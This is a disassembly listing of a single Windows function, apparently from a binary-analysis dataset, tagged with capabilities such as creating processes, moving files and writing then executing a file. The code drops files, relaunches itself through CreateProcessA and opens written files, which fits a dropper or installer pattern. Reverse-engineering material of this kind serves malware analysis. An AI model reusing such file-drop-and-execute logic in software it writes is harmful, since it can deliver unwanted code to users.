Function at 0x403a20
Capabilities:
Accept command line arguments
Create process on windows
Move file
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x106c
call fcn.00406030
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1064], eax
push ebx
push ebp
push esi
push edi
push 0x3ff
lea eax, [esp + 0x475]
push 0
push eax
mov byte [esp + 0x47c], 0
call sub.MSVCR80.dll_memset
mov ebx, dword [sym.imp.MSVCR80.dll_sprintf_s]
push 0x409350
push 0x408400
push 0x407288
lea ecx, [esp + 0x488]
push 0x400
push ecx
call ebx
add esp, 0x20
lea edx, [esp + 0x470]
push edx
call dword [0x40a278]
mov eax, dword [0x40934c]
push eax
mov esi, eax
mov eax, dword [0x409348]
push eax
lea edi, [esp + 0x478]
call fcn.00405410
add esp, 8
cmp eax, esi
jne 0x403ac4
push 0
push 0
push 0
mov ecx, edi
push ecx
push str.open
push 0
call dword [0x40a260]
push 0x3ff
lea edx, [esp + 0x75]
push 0
push edx
mov byte [esp + 0x7c], 0
call sub.MSVCR80.dll_memset
push 0x408e48
push 0x408a40
push str._s_s
lea eax, [esp + 0x88]
push 0x400
push eax
call ebx
add esp, 0x20
lea ecx, [esp + 0x70]
push ecx
call dword [0x40a264]
lea edx, [esp + 0x70]
push edx
push 0x408640
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x408640
call dword [0x40a278]
mov eax, dword [0x409d5c]
push eax
mov esi, eax
mov eax, dword [0x409d58]
push eax
mov edi, 0x408640
call fcn.00405410
add esp, 8
cmp eax, esi
jne 0x403bde
push 0x7ff
lea ecx, [esp + 0x875]
push 0
push ecx
mov byte [esp + 0x87c], 0
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea edx, [esp + 0x870]
mov cl, byte [eax]
mov byte [edx], cl
add eax, 1
add edx, 1
test cl, cl
jne 0x403b70
push 0x40
lea edx, [esp + 0x30]
push 0
push edx
call sub.MSVCR80.dll_memset
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
add esp, 0xc
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x2c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x890]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [0x4083fc], 0
je 0x403da2
push 0x3ff
lea ecx, [esp + 0x875]
push 0
push ecx
mov byte [esp + 0x87c], 0
call sub.MSVCR80.dll_memset
push 0x409858
push 0x408504
push 0x407288
lea edx, [esp + 0x888]
push 0x400
push edx
call ebx
lea eax, [esp + 0x890]
push 0x4072f0
push eax
call dword [sym.imp.MSVCR80.dll_fopen]
mov esi, eax
add esp, 0x28
test esi, esi
je 0x403da2
mov ecx, dword [0x409854]
mov edx, dword [0x409850]
mov ebp, dword [sym.imp.MSVCR80.dll_fwrite]
push esi
push ecx
push 1
push edx
call ebp
mov ebx, dword [sym.imp.MSVCR80.dll_fflush]
push esi
call ebx
push 0x252
call sub.MSVCR80.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
add esp, 0x18
test edi, edi
je 0x403dc4
push 0x252
push 0
push edi
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x14], eax
call dword [sym.imp.MSVCR80.dll_rand]
mov ecx, dword [esp + 0x14]
shl ecx, 0x10
xor eax, ecx
mov dword [edi], eax
xor eax, 0x242
mov dword [edi + 8], eax
lea eax, [edi + 0x10]
push eax
push 0x10
push 0x242
push 0x4083f8
mov ecx, edi
mov dword [edi + 4], 0x242
mov dword [edi + 0xc], 0x10101
call fcn.00404810
add esp, 0x10
push esi
push 0x252
push 1
push edi
call ebp
push esi
call ebx
push edi
call sub.MSVCR80.dll_void___cdecl_operator_delete_void__
mov edx, dword [0x40934c]
mov eax, dword [0x409348]
lea ecx, [esp + 0x2c]
push ecx
push 0x80121212
push 0x409350
push edx
push eax
mov dword [esp + 0x40], 0
call fcn.004017b0
add esp, 0x2c
mov edi, eax
test edi, edi
push esi
je 0x403dc5
mov ecx, dword [esp + 0x18]
push ecx
push 1
push edi
call ebp
push esi
call ebx
push edi
call sub.MSVCR80.dll_void___cdecl_operator_delete_void__
mov eax, dword [0x409854]
mov ecx, dword [0x409850]
lea edx, [esp + 0x2c]
push edx
push 0x80232323
push 0x409858
push eax
push ecx
mov dword [esp + 0x40], 0
call fcn.004017b0
add esp, 0x2c
mov edi, eax
test edi, edi
push esi
je 0x403dc5
mov edx, dword [esp + 0x18]
push edx
push 1
push edi
call ebp
push esi
call ebx
push edi
call sub.MSVCR80.dll_void___cdecl_operator_delete_void__
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 0x1c
push 0
push 0
push 0
lea eax, [esp + 0x87c]
push eax
push str.open
push 0
call dword [0x40a260]
lea edi, [esp + 0x70]
call fcn.00404cc0
mov ecx, dword [esp + 0x1074]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004058f0
add esp, 0x106c
ret
push esi
call dword [sym.imp.MSVCR80.dll_fclose]
add esp, 4
jmp 0x403dab